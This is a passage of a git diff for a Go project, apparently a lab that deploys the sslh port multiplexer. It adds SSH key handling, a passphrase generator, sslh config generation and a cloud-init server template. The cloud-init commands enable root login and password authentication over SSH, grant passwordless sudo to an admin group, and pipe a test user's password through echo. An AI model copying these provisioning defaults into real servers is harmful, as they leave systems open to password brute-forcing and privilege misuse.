return "", "", fmt.Errorf("failed to create output directory: %w", err)
|
||||
}
|
||||
|
||||
privateKeyPath := filepath.Join(outputDir, "id_ed25519")
|
||||
publicKeyPath := filepath.Join(outputDir, "id_ed25519.pub")
|
||||
|
||||
if err := os.WriteFile(privateKeyPath, keyPair.PrivateKey, 0600); err != nil {
|
||||
return "", "", fmt.Errorf("failed to write private key: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(publicKeyPath, keyPair.PublicKey, 0644); err != nil {
|
||||
return "", "", fmt.Errorf("failed to write public key: %w", err)
|
||||
}
|
||||
|
||||
return privateKeyPath, publicKeyPath, nil
|
||||
}
|
||||
|
||||
func LoadPublicKey(publicKeyPath string) (string, error) {
|
||||
publicKeyBytes, err := os.ReadFile(publicKeyPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to read public key file: %w", err)
|
||||
}
|
||||
|
||||
return string(publicKeyBytes), nil
|
||||
}
|
||||
68
internal/ssh/passphrase.go
Normal file
68
internal/ssh/passphrase.go
Normal file
@@ -0,0 +1,68 @@
|
||||
package ssh
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"math/big"
|
||||
)
|
||||
|
||||
const (
|
||||
lowercaseChars = "abcdefghijklmnopqrstuvwxyz"
|
||||
uppercaseChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
digitChars = "0123456789"
|
||||
// Exclude shell-problematic characters: $ ` \ " '
|
||||
// $ causes variable expansion, ` is command substitution, \ is escape, " and ' are quotes
|
||||
// These can cause issues when used in shell commands or when copying from terminal
|
||||
specialChars = "!@#%^&*()_+-=[]{}|;:,.<>?"
|
||||
allChars = lowercaseChars + uppercaseChars + digitChars + specialChars
|
||||
)
|
||||
|
||||
func GenerateSecurePassphrase(length int) (string, error) {
|
||||
if length < 32 {
|
||||
length = 32
|
||||
}
|
||||
|
||||
passphrase := make([]byte, length)
|
||||
|
||||
for i := 0; i < length; i++ {
|
||||
idx, err := rand.Int(rand.Reader, big.NewInt(int64(len(allChars))))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to generate random character: %w", err)
|
||||
}
|
||||
passphrase[i] = allChars[idx.Int64()]
|
||||
}
|
||||
|
||||
passphraseStr := string(passphrase)
|
||||
|
||||
if err := validatePassphrase(passphraseStr); err != nil {
|
||||
return "", fmt.Errorf("generated passphrase failed validation: %w", err)
|
||||
}
|
||||
|
||||
return passphraseStr, nil
|
||||
}
|
||||
|
||||
func validatePassphrase(passphrase string) error {
|
||||
hasLower := false
|
||||
hasUpper := false
|
||||
hasDigit := false
|
||||
hasSpecial := false
|
||||
|
||||
for _, char := range passphrase {
|
||||
switch {
|
||||
case 'a' <= char && char <= 'z':
|
||||
hasLower = true
|
||||
case 'A' <= char && char <= 'Z':
|
||||
hasUpper = true
|
||||
case '0' <= char && char <= '9':
|
||||
hasDigit = true
|
||||
default:
|
||||
hasSpecial = true
|
||||
}
|
||||
}
|
||||
|
||||
if !hasLower || !hasUpper || !hasDigit || !hasSpecial {
|
||||
return fmt.Errorf("passphrase must contain at least one lowercase, uppercase, digit, and special character")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
309
internal/sslh/config.go
Normal file
309
internal/sslh/config.go
Normal file
@@ -0,0 +1,309 @@
|
||||
package sslh
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"sslh-multiplex-lab/internal/services"
|
||||
)
|
||||
|
||||
type ProtocolRoute struct {
|
||||
Name string
|
||||
Host string
|
||||
Port string
|
||||
Probe string
|
||||
SNIHostnames []string
|
||||
ALPNProtocols []string
|
||||
RegexPatterns []string
|
||||
ProxyProtocol bool
|
||||
LogLevel int
|
||||
Fork bool
|
||||
}
|
||||
|
||||
type Config struct {
|
||||
Verbose int
|
||||
Foreground bool
|
||||
Listen []ListenAddress
|
||||
Protocols []ProtocolRoute
|
||||
Timeout int
|
||||
OnTimeout string
|
||||
}
|
||||
|
||||
type ListenAddress struct {
|
||||
Host string
|
||||
Port string
|
||||
MaxConnections int // Limit concurrent connections per listen address (DoS protection)
|
||||
}
|
||||
|
||||
func GenerateConfig(svcs []services.Service, serverIP, domain string) (*Config, error) {
|
||||
// Set max_connections per listen address to protect against DoS attacks
|
||||
// This limits concurrent connections to prevent file descriptor exhaustion
|
||||
// Recommended: 1000 connections per listen address (leaves room for system)
|
||||
// See: https://github.com/yrutschle/sslh/blob/master/doc/max_connections.md
|
||||
maxConns := 1000
|
||||
listen := []ListenAddress{
|
||||
{Host: "0.0.0.0", Port: "443", MaxConnections: maxConns},
|
||||
{Host: "[::]", Port: "443", MaxConnections: maxConns},
|
||||
}
|
||||
|
||||
protocols, err := GenerateSNIRoutes(svcs, domain)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to generate protocol routes: %w", err)
|
||||
}
|
||||
|
||||
// Find the default TLS route for on_timeout
|
||||
// If SSLH times out during protocol detection, route to TLS (HTTPS) instead of anyprot
|
||||
// This ensures HTTPS connections that are slow to start still work
|
||||
onTimeout := "tls"
|
||||
for _, proto := range protocols {
|
||||
if proto.Name == "tls" && len(proto.SNIHostnames) == 0 {
|
||||
// Found the default TLS route (catch-all, no SNI restriction)
|
||||
onTimeout = "tls"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return &Config{
|
||||
Verbose: 2,
|
||||
Foreground: true,
|
||||
Listen: listen,
|
||||
Protocols: protocols,
|
||||
Timeout: 5, // Increased from 3 to 5 seconds to give TLS handshake more time
|
||||
OnTimeout: onTimeout, // Route to TLS on timeout, not anyprot (port 445)
|
||||
}, nil
|
||||
}
|
||||
|
||||
func GenerateProtocolRoutes(svcs []services.Service) ([]ProtocolRoute, error) {
|
||||
return GenerateSNIRoutes(svcs, "")
|
||||
}
|
||||
|
||||
func GenerateSNIRoutes(svcs []services.Service, domain string) ([]ProtocolRoute, error) {
|
||||
var routes []ProtocolRoute
|
||||
|
||||
// SSH route - will be added after TLS routes to ensure TLS is checked first
|
||||
// SSLH probes in order, so TLS routes should come before SSH
|
||||
sshRoute := ProtocolRoute{
|
||||
Name: "ssh",
|
||||
Host: "127.0.0.1",
|
||||
Port: "22",
|
||||
Probe: "builtin",
|
||||
Fork: true,
|
||||
}
|
||||
|
||||
tlsRoutes := make(map[string][]services.Service)
|
||||
regexRoutes := []services.Service{}
|
||||
var defaultTLSRoute *ProtocolRoute
|
||||
|
||||
for _, svc := range svcs {
|
||||
if svc.Name == "ssh" {
|
||||
continue
|
||||
}
|
||||
|
||||
switch svc.Protocol {
|
||||
case "tls":
|
||||
if svc.SNIRequired {
|
||||
tlsRoutes[svc.Protocol] = append(tlsRoutes[svc.Protocol], svc)
|
||||
} else {
|
||||
// HTTPS service (root domain) should be the default TLS route
|
||||
// This will catch all TLS connections that don't match SNI-specific routes
|
||||
// Always prefer HTTPS service if it exists
|
||||
if defaultTLSRoute == nil || svc.Name == "https" {
|
||||
defaultTLSRoute = &ProtocolRoute{
|
||||
Name: "tls",
|
||||
Host: "127.0.0.1",
|
||||
Port: fmt.Sprintf("%d", svc.BackendPort),
|
||||
Probe: "builtin",
|
||||
// SNIHostnames left as nil - will be set to empty array later for catch-all
|
||||
}
|
||||
if alpn, ok := svc.Config["alpn_protocols"].([]string); ok && len(alpn) > 0 {
|
||||
defaultTLSRoute.ALPNProtocols = alpn
|
||||
}
|
||||
}
|
||||
}
|
||||
case "regex":
|
||||
regexRoutes = append(regexRoutes, svc)
|
||||
default:
|
||||
regexRoutes = append(regexRoutes, svc)
|
||||
}
|
||||
}
|
||||
|
||||
// Add SNI-specific TLS routes first (for subdomains)
|
||||
// These are checked first and take precedence when SNI matches
|
||||
for _, svc := range tlsRoutes["tls"] {
|
||||
sniHostnames := []string{}
|
||||
if domain != "" {
|
||||
sniHostnames = []string{svc.GetFQDN(domain)}
|
||||
}
|
||||
|
||||
route := ProtocolRoute{
|
||||
Name: "tls",
|
||||
Host: "127.0.0.1",
|
||||
Port: fmt.Sprintf("%d", svc.BackendPort),
|
||||
Probe: "builtin",
|
||||
SNIHostnames: sniHostnames,
|
||||
LogLevel: 0,
|
||||
}
|
||||
|
||||
if alpn, ok := svc.Config["alpn_protocols"].([]string); ok {
|
||||
route.ALPNProtocols = alpn
|
||||
}
|
||||
|
||||
routes = append(routes, route)
|
||||
}
|
||||
|
||||
// Add default TLS route after SNI-specific routes (for root domain HTTPS)
|
||||
// According to SSLH docs: "if neither are set, it is just checked whether this is the TLS protocol or not"
|
||||
// "if you use TLS with no ALPN/SNI set it as the last TLS probe"
|
||||
// We add TWO TLS routes:
|
||||
// 1. One with ALPN protocols (for modern HTTPS clients)
|
||||
// 2. One without ALPN (true catch-all for any TLS connection)
|
||||
// This ensures all TLS connections are routed correctly
|
||||
if defaultTLSRoute == nil {
|
||||
// If no default TLS service found, use nginx on 8444 as fallback
|
||||
// Add catch-all TLS route (no ALPN, no SNI)
|
||||
defaultTLSRoute = &ProtocolRoute{
|
||||
Name: "tls",
|
||||
Host: "127.0.0.1",
|
||||
Port: "8444",
|
||||
Probe: "builtin",
|
||||
// No SNI, no ALPN = true catch-all for any TLS connection
|
||||
}
|
||||
routes = append(routes, *defaultTLSRoute)
|
||||
} else {
|
||||
// First add TLS route with ALPN protocols (for modern HTTPS)
|
||||
if len(defaultTLSRoute.ALPNProtocols) > 0 {
|
||||
alpnRoute := *defaultTLSRoute
|
||||
alpnRoute.SNIHostnames = []string{} // No SNI restriction
|
||||
routes = append(routes, alpnRoute)
|
||||
}
|
||||
// Then add catch-all TLS route without ALPN (for any TLS connection)
|
||||
catchAllRoute := *defaultTLSRoute
|
||||
catchAllRoute.ALPNProtocols = []string{} // Clear ALPN for catch-all
|
||||
catchAllRoute.SNIHostnames = []string{} // No SNI restriction
|
||||
routes = append(routes, catchAllRoute)
|
||||
}
|
||||
|
||||
// Add SSH route AFTER TLS routes to ensure TLS is checked first
|
||||
// SSLH will still probe SSH quickly, but TLS routes take precedence
|
||||
routes = append(routes, sshRoute)
|
||||
|
||||
for _, svc := range regexRoutes {
|
||||
route := ProtocolRoute{
|
||||
Name: "regex", // SSLH requires "regex" as the protocol name for regex probes
|
||||
Host: "127.0.0.1",
|
||||
Port: fmt.Sprintf("%d", svc.BackendPort),
|
||||
Probe: "regex",
|
||||
}
|
||||
|
||||
if patterns, ok := svc.Config["regex_patterns"].([]string); ok {
|
||||
route.RegexPatterns = patterns
|
||||
}
|
||||
|
||||
routes = append(routes, route)
|
||||
}
|
||||
|
||||
anyprotRoute := ProtocolRoute{
|
||||
Name: "anyprot",
|
||||
Host: "127.0.0.1",
|
||||
Port: "445",
|
||||
Probe: "builtin",
|
||||
}
|
||||
routes = append(routes, anyprotRoute)
|
||||
|
||||
return routes, nil
|
||||
}
|
||||
|
||||
func (c *Config) ToLibConfig() string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("verbose: ")
|
||||
sb.WriteString(fmt.Sprintf("%d", c.Verbose))
|
||||
sb.WriteString(";\n")
|
||||
sb.WriteString("foreground: ")
|
||||
sb.WriteString(fmt.Sprintf("%v", c.Foreground))
|
||||
sb.WriteString(";\n\n")
|
||||
|
||||
sb.WriteString("listen:\n")
|
||||
sb.WriteString("(\n")
|
||||
for i, addr := range c.Listen {
|
||||
comma := ","
|
||||
if i == len(c.Listen)-1 {
|
||||
comma = ""
|
||||
}
|
||||
if addr.MaxConnections > 0 {
|
||||
sb.WriteString(fmt.Sprintf(" { host: \"%s\"; port: \"%s\"; max_connections: %d; }%s\n", addr.Host, addr.Port, addr.MaxConnections, comma))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf(" { host: \"%s\"; port: \"%s\"; }%s\n", addr.Host, addr.Port, comma))
|
||||
}
|
||||
}
|
||||
sb.WriteString(");\n\n")
|
||||
|
||||
sb.WriteString("protocols:\n")
|
||||
sb.WriteString("(\n")
|
||||
for i, proto := range c.Protocols {
|
||||
sb.WriteString(" {\n")
|
||||
sb.WriteString(fmt.Sprintf(" name: \"%s\";\n", proto.Name))
|
||||
sb.WriteString(fmt.Sprintf(" host: \"%s\";\n", proto.Host))
|
||||
sb.WriteString(fmt.Sprintf(" port: \"%s\";\n", proto.Port))
|
||||
if proto.Probe != "" {
|
||||
sb.WriteString(fmt.Sprintf(" probe: \"%s\";\n", proto.Probe))
|
||||
}
|
||||
if len(proto.SNIHostnames) > 0 {
|
||||
sb.WriteString(" sni_hostnames: [")
|
||||
for j, hostname := range proto.SNIHostnames {
|
||||
if j > 0 {
|
||||
sb.WriteString(", ")
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("\"%s\"", hostname))
|
||||
}
|
||||
sb.WriteString("];\n")
|
||||
}
|
||||
// Only include alpn_protocols if non-empty
|
||||
// Empty ALPN means catch-all (matches any TLS connection)
|
||||
if len(proto.ALPNProtocols) > 0 {
|
||||
sb.WriteString(" alpn_protocols: [")
|
||||
for j, protocol := range proto.ALPNProtocols {
|
||||
if j > 0 {
|
||||
sb.WriteString(", ")
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("\"%s\"", protocol))
|
||||
}
|
||||
sb.WriteString("];\n")
|
||||
}
|
||||
// Note: If both SNI and ALPN are empty/omitted, this is a true catch-all TLS route
|
||||
if len(proto.RegexPatterns) > 0 {
|
||||
sb.WriteString(" regex_patterns: [")
|
||||
for j, pattern := range proto.RegexPatterns {
|
||||
if j > 0 {
|
||||
sb.WriteString(", ")
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("\"%s\"", pattern))
|
||||
}
|
||||
sb.WriteString("];\n")
|
||||
}
|
||||
if proto.ProxyProtocol {
|
||||
sb.WriteString(" proxy_protocol: true;\n")
|
||||
}
|
||||
if proto.LogLevel > 0 {
|
||||
sb.WriteString(fmt.Sprintf(" log_level: %d;\n", proto.LogLevel))
|
||||
}
|
||||
if proto.Fork {
|
||||
sb.WriteString(" fork: true;\n")
|
||||
}
|
||||
sb.WriteString(" }")
|
||||
if i < len(c.Protocols)-1 {
|
||||
sb.WriteString(",")
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString(");\n")
|
||||
|
||||
if c.Timeout > 0 {
|
||||
sb.WriteString(fmt.Sprintf("\ntimeout: %d;\n", c.Timeout))
|
||||
if c.OnTimeout != "" {
|
||||
sb.WriteString(fmt.Sprintf("on_timeout: { name: \"%s\"; };\n", c.OnTimeout))
|
||||
}
|
||||
}
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
40
internal/sslh/generator.go
Normal file
40
internal/sslh/generator.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package sslh
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"sslh-multiplex-lab/internal/services"
|
||||
)
|
||||
|
||||
func GenerateConfigFile(services []services.Service, serverIP, domain, outputPath string) error {
|
||||
config, err := GenerateConfig(services, serverIP, domain)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to generate config: %w", err)
|
||||
}
|
||||
|
||||
configContent := config.ToLibConfig()
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||
return fmt.Errorf("failed to create config directory: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(outputPath, []byte(configContent), 0644); err != nil {
|
||||
return fmt.Errorf("failed to write config file: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func ValidateConfig(config *Config) error {
|
||||
if len(config.Listen) == 0 {
|
||||
return fmt.Errorf("at least one listen address is required")
|
||||
}
|
||||
|
||||
if len(config.Protocols) == 0 {
|
||||
return fmt.Errorf("at least one protocol route is required")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
721
internal/templates/cloudinit.go
Normal file
721
internal/templates/cloudinit.go
Normal file
@@ -0,0 +1,721 @@
|
||||
package templates
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
|
||||
"sslh-multiplex-lab/internal/services"
|
||||
)
|
||||
|
||||
type CloudInitConfig struct {
|
||||
Users []User `yaml:"users"`
|
||||
Packages []string `yaml:"packages"`
|
||||
PackageUpdate bool `yaml:"package_update"`
|
||||
PackageUpgrade bool `yaml:"package_upgrade"`
|
||||
WriteFiles []WriteFile `yaml:"write_files,omitempty"`
|
||||
RunCmd []string `yaml:"runcmd"`
|
||||
}
|
||||
|
||||
type User struct {
|
||||
Name string `yaml:"name"`
|
||||
Groups []string `yaml:"groups,omitempty"`
|
||||
Sudo string `yaml:"sudo,omitempty"`
|
||||
Shell string `yaml:"shell,omitempty"`
|
||||
SSHAuthorizedKeys []string `yaml:"ssh_authorized_keys,omitempty"`
|
||||
Passwd string `yaml:"passwd,omitempty"`
|
||||
LockPasswd bool `yaml:"lock_passwd,omitempty"`
|
||||
}
|
||||
|
||||
type WriteFile struct {
|
||||
Path string `yaml:"path"`
|
||||
Content string `yaml:"content"`
|
||||
Permissions string `yaml:"permissions,omitempty"`
|
||||
Owner string `yaml:"owner,omitempty"`
|
||||
}
|
||||
|
||||
func GenerateCloudInit(sshPublicKey, sslhConfig, username, testuserPassword, letsencryptEmail, domain string, svcList []services.Service) (string, error) {
|
||||
users := []User{
|
||||
{
|
||||
Name: username,
|
||||
Groups: []string{"users", "admin"},
|
||||
Sudo: "ALL=(ALL) NOPASSWD:ALL",
|
||||
Shell: "/bin/bash",
|
||||
SSHAuthorizedKeys: []string{strings.TrimSpace(sshPublicKey)},
|
||||
},
|
||||
{
|
||||
Name: "testuser",
|
||||
Groups: []string{"users"},
|
||||
Shell: "/bin/bash",
|
||||
LockPasswd: false,
|
||||
},
|
||||
}
|
||||
|
||||
config := CloudInitConfig{
|
||||
Users: users,
|
||||
Packages: []string{
|
||||
"python3-systemd",
|
||||
"fail2ban",
|
||||
"ufw",
|
||||
"git",
|
||||
"vim",
|
||||
"sendmail",
|
||||
"swaks",
|
||||
"python3",
|
||||
"python3-pip",
|
||||
"golang",
|
||||
"build-essential",
|
||||
"gcc",
|
||||
"gdb",
|
||||
"g++",
|
||||
"mingw-w64",
|
||||
"unattended-upgrades",
|
||||
"apt-listchanges",
|
||||
"sslh",
|
||||
// Note: Ensure SSLH v2.2.4+ is installed to fix CVE-2025-46807 and CVE-2025-46806
|
||||
// If apt version is < 2.2.4, we'll build from source in runcmd
|
||||
"nginx",
|
||||
"samba",
|
||||
"openssh-server",
|
||||
"wireguard",
|
||||
"wireguard-tools",
|
||||
"certbot",
|
||||
"python3-certbot-nginx",
|
||||
},
|
||||
PackageUpdate: true,
|
||||
PackageUpgrade: true,
|
||||
WriteFiles: []WriteFile{
|
||||
{
|
||||
Path: "/etc/sslh.cfg",
|
||||
Content: sslhConfig,
|
||||
Permissions: "0644",
|
||||
Owner: "root:root",
|
||||
},
|
||||
{
|
||||
Path: "/etc/sslh/sslh.cfg",
|
||||
Content: sslhConfig,
|
||||
Permissions: "0644",
|
||||
Owner: "root:root",
|
||||
},
|
||||
{
|
||||
Path: "/etc/sslh.cfg.backup",
|
||||
Content: sslhConfig,
|
||||
Permissions: "0644",
|
||||
Owner: "root:root",
|
||||
},
|
||||
{
|
||||
Path: fmt.Sprintf("/home/%s/.ssh/authorized_keys", username),
|
||||
Content: strings.TrimSpace(sshPublicKey) + "\n",
|
||||
Permissions: "0600",
|
||||
Owner: fmt.Sprintf("%s:%s", username, username),
|
||||
},
|
||||
{
|
||||
Path: "/etc/nginx/sites-available/sslh-proxy",
|
||||
Content: generateNginxSSLHProxyConfig(),
|
||||
Permissions: "0644",
|
||||
Owner: "root:root",
|
||||
},
|
||||
{
|
||||
Path: "/etc/nginx/sites-available/acme-challenge",
|
||||
Content: generateNginxACMEConfig(),
|
||||
Permissions: "0644",
|
||||
Owner: "root:root",
|
||||
},
|
||||
{
|
||||
Path: "/etc/systemd/system/sslh.service.d/override.conf",
|
||||
Content: "[Service]\nEnvironmentFile=\nExecStart=\nExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg\n",
|
||||
Permissions: "0644",
|
||||
Owner: "root:root",
|
||||
},
|
||||
{
|
||||
Path: "/var/www/demo/index.html",
|
||||
Content: generateDemoPageHTML(),
|
||||
Permissions: "0644",
|
||||
Owner: "www-data:www-data",
|
||||
},
|
||||
},
|
||||
RunCmd: generateRunCommands(username, strings.TrimSpace(sshPublicKey), testuserPassword, letsencryptEmail, domain, svcList),
|
||||
}
|
||||
|
||||
yamlData, err := yaml.Marshal(&config)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to marshal cloud-init config: %w", err)
|
||||
}
|
||||
|
||||
// Hetzner requires #cloud-config on the first line for cloud-init to process the file
|
||||
return "#cloud-config\n" + string(yamlData), nil
|
||||
}
|
||||
|
||||
func generateRunCommands(username, sshPublicKey, testuserPassword, letsencryptEmail, domain string, svcList []services.Service) []string {
|
||||
commands := []string{
|
||||
`cat > /etc/fail2ban/jail.local <<'EOF'
|
||||
[DEFAULT]
|
||||
allowipv6 = false
|
||||
bantime = 86400
|
||||
bantime.increment = true
|
||||
bantime.maxtime = 604800
|
||||
bantime.rndtime = 3600
|
||||
|
||||
[sshd]
|
||||
enabled = true
|
||||
port = ssh
|
||||
banaction = iptables-multiport
|
||||
filter = sshd
|
||||
backend = auto
|
||||
maxretry = 5
|
||||
findtime = 600
|
||||
bantime = 86400
|
||||
|
||||
[recidive]
|
||||
enabled = true
|
||||
filter = recidive
|
||||
logpath = /var/log/fail2ban.log
|
||||
bantime = 604800
|
||||
findtime = 86400
|
||||
maxretry = 5
|
||||
EOF`,
|
||||
"systemctl enable fail2ban",
|
||||
"dpkg-reconfigure -f noninteractive unattended-upgrades",
|
||||
`cat > /etc/apt/apt.conf.d/20auto-upgrades <<EOF
|
||||
APT::Periodic::Update-Package-Lists "1";
|
||||
APT::Periodic::Unattended-Upgrade "1";
|
||||
EOF`,
|
||||
`cat > /etc/apt/apt.conf.d/50unattended-upgrades <<EOF
|
||||
Unattended-Upgrade::Origins-Pattern {
|
||||
"origin=Debian,codename=\${distro_codename},label=Debian-Security";
|
||||
"origin=Ubuntu,codename=\${distro_codename},label=Ubuntu";
|
||||
};
|
||||
Unattended-Upgrade::Automatic-Reboot "true";
|
||||
Unattended-Upgrade::Remove-Unused-Dependencies "true";
|
||||
EOF`,
|
||||
"ufw allow OpenSSH",
|
||||
"ufw allow 80/tcp",
|
||||
"ufw allow 443/tcp",
|
||||
"ufw --force enable",
|
||||
"getent group admin >/dev/null 2>&1 || groupadd admin",
|
||||
fmt.Sprintf("usermod -a -G admin %s 2>/dev/null || true", username),
|
||||
fmt.Sprintf("echo '%s ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/%s", username, username),
|
||||
"chmod 440 /etc/sudoers.d/*",
|
||||
"echo '%admin ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/admin-group",
|
||||
"chmod 440 /etc/sudoers.d/admin-group",
|
||||
fmt.Sprintf("mkdir -p /home/%s/.ssh", username),
|
||||
fmt.Sprintf("chmod 700 /home/%s/.ssh", username),
|
||||
fmt.Sprintf("chown -R %s:%s /home/%s/.ssh", username, username, username),
|
||||
fmt.Sprintf("cat > /tmp/ssh_key_temp <<'KEYEOF'\n%s\nKEYEOF", strings.TrimSpace(sshPublicKey)),
|
||||
fmt.Sprintf("mv /tmp/ssh_key_temp /home/%s/.ssh/authorized_keys", username),
|
||||
fmt.Sprintf("chmod 600 /home/%s/.ssh/authorized_keys", username),
|
||||
fmt.Sprintf("chown %s:%s /home/%s/.ssh/authorized_keys", username, username, username),
|
||||
"cloud-init-per once ssh-keygen -A",
|
||||
"sed -i -e '/^#*PubkeyAuthentication/s/^.*$/PubkeyAuthentication yes/' /etc/ssh/sshd_config",
|
||||
"sed -i -e '/^#*PasswordAuthentication/s/^.*$/PasswordAuthentication yes/' /etc/ssh/sshd_config",
|
||||
"sed -i -e '/^#*PermitRootLogin/s/^.*$/PermitRootLogin yes/' /etc/ssh/sshd_config",
|
||||
"sed -i -e '/^#*AuthorizedKeysFile/s/^.*$/AuthorizedKeysFile .ssh\\/authorized_keys/' /etc/ssh/sshd_config",
|
||||
"sed -i -e '/^#*StrictModes/s/^.*$/StrictModes yes/' /etc/ssh/sshd_config",
|
||||
"sed -i '/^AllowUsers/d' /etc/ssh/sshd_config",
|
||||
"systemctl restart sshd",
|
||||
fmt.Sprintf("echo 'testuser:%s' | chpasswd", testuserPassword),
|
||||
"mkdir -p /home/testuser",
|
||||
"chown testuser:testuser /home/testuser",
|
||||
fmt.Sprintf("(echo '%s'; echo '%s') | smbpasswd -a -s testuser", testuserPassword, testuserPassword),
|
||||
"smbpasswd -e testuser",
|
||||
`cat >> /etc/samba/smb.conf <<'SMBEOF'
|
||||
|
||||
[testuser]
|
||||
comment = Test user share for demonstration
|
||||
path = /home/testuser
|
||||
browseable = yes
|
||||
read only = no
|
||||
valid users = testuser
|
||||
create mask = 0644
|
||||
directory mask = 0755
|
||||
SMBEOF`,
|
||||
"sed -i 's/; interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf",
|
||||
"sed -i 's/; bind interfaces only = yes/ bind interfaces only = yes/' /etc/samba/smb.conf",
|
||||
"sed -i 's/^ interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf || true",
|
||||
"sed -i 's/^ bind interfaces only = no/ bind interfaces only = yes/' /etc/samba/smb.conf || true",
|
||||
"systemctl enable smbd",
|
||||
"systemctl restart smbd",
|
||||
"mkdir -p /var/www/demo",
|
||||
"chown -R www-data:www-data /var/www/demo 2>/dev/null || chown -R nginx:nginx /var/www/demo 2>/dev/null || true",
|
||||
"test -f /var/www/demo/index.html || { cat > /var/www/demo/index.html <<'HTML'",
|
||||
"<!DOCTYPE html><html><head><title>Demo</title><meta charset=utf-8><style>body{font-family:Arial;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:white}.container{text-align:center;padding:2rem;background:rgba(255,255,255,0.1);border-radius:10px;backdrop-filter:blur(10px)}h1{margin:0;font-size:3rem}</style></head><body><div class=container><h1>Demo app page</h1></div></body></html>",
|
||||
"HTML",
|
||||
"chown www-data:www-data /var/www/demo/index.html 2>/dev/null || chown nginx:nginx /var/www/demo/index.html 2>/dev/null || true; }",
|
||||
"rm -f /usr/share/nginx/html/index.html /var/www/html/index.html /usr/share/nginx/html/*.html 2>/dev/null || true",
|
||||
"echo '=== Ensuring SSL certificates exist ==='",
|
||||
`bash -c 'if [ ! -f /etc/ssl/certs/ssl-cert-snakeoil.pem ] || [ ! -f /etc/ssl/private/ssl-cert-snakeoil.key ]; then
|
||||
echo "Generating self-signed SSL certificates..."
|
||||
if command -v make-ssl-cert >/dev/null 2>&1; then
|
||||
make-ssl-cert generate-default-snakeoil --force-overwrite 2>&1 || {
|
||||
echo "make-ssl-cert failed, using openssl fallback..."
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/ssl-cert-snakeoil.key -out /etc/ssl/certs/ssl-cert-snakeoil.pem -subj "/CN=localhost" 2>&1
|
||||
}
|
||||
else
|
||||
echo "make-ssl-cert not available, using openssl..."
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/ssl-cert-snakeoil.key -out /etc/ssl/certs/ssl-cert-snakeoil.pem -subj "/CN=localhost" 2>&1
|
||||
fi
|
||||
groupadd -f ssl-cert 2>/dev/null || true
|
||||
chmod 644 /etc/ssl/certs/ssl-cert-snakeoil.pem 2>/dev/null || true
|
||||
chmod 640 /etc/ssl/private/ssl-cert-snakeoil.key 2>/dev/null || true
|
||||
chown root:ssl-cert /etc/ssl/certs/ssl-cert-snakeoil.pem /etc/ssl/private/ssl-cert-snakeoil.key 2>/dev/null || true
|
||||
usermod -a -G ssl-cert www-data 2>/dev/null || usermod -a -G ssl-cert nginx 2>/dev/null || true
|
||||
echo "SSL certificates generated successfully"
|
||||
if [ ! -f /etc/ssl/certs/ssl-cert-snakeoil.pem ] || [ ! -f /etc/ssl/private/ssl-cert-snakeoil.key ]; then
|
||||
echo "ERROR: SSL certificates still missing after generation attempt!"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "SSL certificates already exist"
|
||||
fi'`,
|
||||
"echo '=== Preventing nginx from auto-starting during package install ==='",
|
||||
"systemctl mask nginx 2>/dev/null || true",
|
||||
"systemctl stop nginx 2>/dev/null || true",
|
||||
"echo '=== Creating nginx configuration files ==='",
|
||||
"mkdir -p /etc/nginx/sites-available",
|
||||
"test -f /etc/nginx/sites-available/sslh-proxy || { cat > /etc/nginx/sites-available/sslh-proxy <<'EOF'",
|
||||
"server {",
|
||||
" listen 127.0.0.1:8444 ssl http2 default_server;",
|
||||
" server_name _;",
|
||||
" ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;",
|
||||
" ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;",
|
||||
" ssl_protocols TLSv1.2 TLSv1.3;",
|
||||
" ssl_ciphers HIGH:!aNULL:!MD5;",
|
||||
" root /var/www/demo;",
|
||||
" index index.html;",
|
||||
" location / {",
|
||||
" try_files $uri $uri/ =404;",
|
||||
" }",
|
||||
"}",
|
||||
"EOF",
|
||||
"chmod 644 /etc/nginx/sites-available/sslh-proxy; }",
|
||||
"test -f /etc/nginx/sites-available/acme-challenge || { cat > /etc/nginx/sites-available/acme-challenge <<'EOF'",
|
||||
"server {",
|
||||
" listen 0.0.0.0:80 default_server;",
|
||||
" listen [::]:80 default_server;",
|
||||
" server_name _;",
|
